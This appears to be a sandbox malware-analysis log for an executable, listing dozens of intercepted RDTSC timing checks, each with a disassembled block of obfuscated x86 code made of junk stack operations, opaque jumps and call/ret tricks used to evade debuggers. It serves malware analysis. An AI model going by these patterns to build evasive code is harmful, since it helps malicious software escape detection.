Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BA8B second address: 61BAB4 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB8192482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jp 00007FB8192482DAh 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB8192482DCh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BAB4 second address: 61BAF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB818D70DD6h 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 ja 00007FB818D70DD0h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BAF8 second address: 61BB60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jl 00007FB8192482D6h 0x0000000c pop ebx 0x0000000d popad 0x0000000e pop eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FB8192482D8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 jmp 00007FB8192482E6h 0x0000002e sub dword ptr [ebp+122D397Bh], esi 0x00000034 lea ebx, dword ptr [ebp+1244F63Dh] 0x0000003a or edx, 50AD3ECCh 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007FB8192482DEh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BB60 second address: 61BB7D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB818D70DD2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BB7D second address: 61BB83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61BD76 second address: 61BD80 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62DD9D second address: 62DDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FB8192482D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62DDA8 second address: 62DDCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FB818D70DC8h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63BCC5 second address: 63BCCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C292 second address: 63C298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C298 second address: 63C2A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C584 second address: 63C59E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB818D70DD0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C59E second address: 63C5A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C5A2 second address: 63C5BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818D70DD3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C74E second address: 63C752 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C752 second address: 63C758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C758 second address: 63C75E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C75E second address: 63C764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C764 second address: 63C768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CA4F second address: 63CA65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB818D70DD0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CBF4 second address: 63CC28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB8192482E7h 0x00000008 jmp 00007FB8192482E8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CC28 second address: 63CC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632189 second address: 632199 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482DCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632199 second address: 63219F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CD71 second address: 63CD83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CD83 second address: 63CD87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CD87 second address: 63CD91 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB8192482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63CD91 second address: 63CDA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 js 00007FB818D70DC6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D532 second address: 63D548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FB8192482E1h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DA7D second address: 63DA81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DA81 second address: 63DAA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FB8192482DAh 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push edx 0x00000013 jl 00007FB8192482D6h 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e jc 00007FB8192482D6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DAA5 second address: 63DACE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jns 00007FB818D70DC6h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FB818D70DD6h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DACE second address: 63DAED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DAED second address: 63DAF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63DAF1 second address: 63DAF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642B8D second address: 642BA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642F25 second address: 642F58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FB8192482D8h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB8192482DCh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642123 second address: 642137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jbe 00007FB818D70DE1h 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FB818D70DC6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6431D8 second address: 6431DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6431DF second address: 6431E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647FE0 second address: 647FFA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jns 00007FB8192482D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB8192482DBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609F56 second address: 609F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609F5A second address: 609F5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609F5E second address: 609F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007FB818D70DC6h 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609F74 second address: 609F7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647606 second address: 647633 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD2h 0x00000007 jc 00007FB818D70DC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FB818D70DCBh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647B9D second address: 647BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 jp 00007FB8192482FEh 0x0000000c push eax 0x0000000d jmp 00007FB8192482E8h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649C13 second address: 649C5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 69C75501h 0x00000010 or edi, 6574D943h 0x00000016 mov esi, ecx 0x00000018 push B8576DCCh 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FB818D70DD7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649C5A second address: 649C5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649F41 second address: 649F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649F45 second address: 649F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FB8192482D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 649F57 second address: 649F61 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A0F8 second address: 64A0FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A0FC second address: 64A102 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A7BA second address: 64A7C4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB8192482DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AA75 second address: 64AA7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AA7A second address: 64AA80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AD64 second address: 64AD6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BC4B second address: 64BC4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BAC4 second address: 64BACA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64BC4F second address: 64BC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FB8192482DDh 0x0000000d nop 0x0000000e mov esi, dword ptr [ebp+122D56ECh] 0x00000014 jmp 00007FB8192482E4h 0x00000019 push 00000000h 0x0000001b pushad 0x0000001c and dl, FFFFFFEFh 0x0000001f jmp 00007FB8192482DDh 0x00000024 popad 0x00000025 push 00000000h 0x00000027 push edx 0x00000028 clc 0x00000029 pop esi 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CCDD second address: 64CCE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D522 second address: 60D539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB8192482D6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jns 00007FB8192482D6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64ED65 second address: 64ED7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b jl 00007FB818D70DCCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F8FF second address: 64F905 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F905 second address: 64F90C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64F90C second address: 64F99D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jg 00007FB8192482DEh 0x0000000e push eax 0x0000000f jg 00007FB8192482D6h 0x00000015 pop eax 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007FB8192482D8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 pushad 0x00000032 mov ebx, edx 0x00000034 jmp 00007FB8192482E5h 0x00000039 popad 0x0000003a sub esi, 31B7716Ah 0x00000040 push 00000000h 0x00000042 mov esi, dword ptr [ebp+12472EA3h] 0x00000048 push 00000000h 0x0000004a mov edi, dword ptr [ebp+122D2B19h] 0x00000050 xchg eax, ebx 0x00000051 pushad 0x00000052 jmp 00007FB8192482E9h 0x00000057 push ecx 0x00000058 jmp 00007FB8192482DCh 0x0000005d pop ecx 0x0000005e popad 0x0000005f push eax 0x00000060 push edi 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6504BC second address: 6504C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650292 second address: 6502AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8192482E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6504C2 second address: 6504C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6510B3 second address: 651153 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB8192482E7h 0x00000008 jmp 00007FB8192482E1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FB8192482E0h 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FB8192482D8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov dword ptr [ebp+1247CED4h], ecx 0x00000036 push 00000000h 0x00000038 mov esi, eax 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007FB8192482D8h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 0000001Bh 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 mov di, 9FDDh 0x0000005a mov di, 9F39h 0x0000005e xchg eax, ebx 0x0000005f jmp 00007FB8192482DBh 0x00000064 push eax 0x00000065 pushad 0x00000066 js 00007FB8192482D8h 0x0000006c push edi 0x0000006d pop edi 0x0000006e push ebx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650E6C second address: 650E76 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650E76 second address: 650E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650E7C second address: 650E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65376E second address: 65377F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB8192482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65377F second address: 653784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656DA0 second address: 656DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65729D second address: 65730B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FB818D70DC8h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov bx, 95B1h 0x00000028 push 00000000h 0x0000002a jg 00007FB818D70DC9h 0x00000030 mov ebx, dword ptr [ebp+122D27E1h] 0x00000036 push 00000000h 0x00000038 mov ebx, edx 0x0000003a xchg eax, esi 0x0000003b jp 00007FB818D70DD2h 0x00000041 jnl 00007FB818D70DCCh 0x00000047 push eax 0x00000048 pushad 0x00000049 pushad 0x0000004a jmp 00007FB818D70DD1h 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657549 second address: 65754E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 658435 second address: 65844B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65844B second address: 6584BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FB8192482D8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 push dword ptr fs:[00000000h] 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007FB8192482D8h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 00000017h 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 and bh, 00000027h 0x00000047 mov edi, dword ptr [ebp+122D1EA5h] 0x0000004d mov dword ptr fs:[00000000h], esp 0x00000054 xor ebx, 498AF8A2h 0x0000005a mov eax, dword ptr [ebp+122D05CDh] 0x00000060 push FFFFFFFFh 0x00000062 clc 0x00000063 nop 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6584BD second address: 6584E4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FB818D70DD6h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 659477 second address: 659489 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007FB8192482D6h 0x00000012 rdtsc
